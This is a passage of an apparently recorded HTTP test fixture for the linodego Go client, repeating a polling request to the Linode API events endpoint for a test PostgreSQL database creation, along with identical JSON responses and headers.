X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 